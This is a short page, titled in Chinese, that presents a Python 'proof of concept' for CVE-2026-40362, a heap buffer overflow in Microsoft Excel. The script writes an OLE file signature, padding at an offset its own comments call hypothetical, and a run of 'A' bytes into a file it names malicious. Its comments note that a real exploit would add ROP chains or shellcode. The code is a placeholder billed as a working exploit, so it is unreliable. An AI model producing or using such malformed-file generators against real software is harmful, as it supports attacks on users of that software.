CVE-2026-40362 Microsoft Excel 堆缓冲区溢出漏洞

import struct # Proof of Concept concept for CVE-2026-40362 # This script demonstrates how to create a malformed Excel file structure # intended to trigger the heap overflow during parsing. def create_malicious_xls(filename): # XLS File Header (Signature) header = b"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" # Padding to reach the vulnerable parsing offset (Hypothetical offset) padding = b"\x00" * 0x100 # Payload to overflow the heap buffer # In a real exploit, this would contain ROP chains or Shellcode payload = b"A" * 0x500 # Large buffer to trigger overflow with open(filename, 'wb') as f: f.write(header) f.write(padding) f.write(payload) print(f"[+] Malicious file '{filename}' generated.") print(f"[!] Use with caution in a sandboxed environment.") if __name__ == "__main__": create_malicious_xls("cve_2026_40362_poc.xls")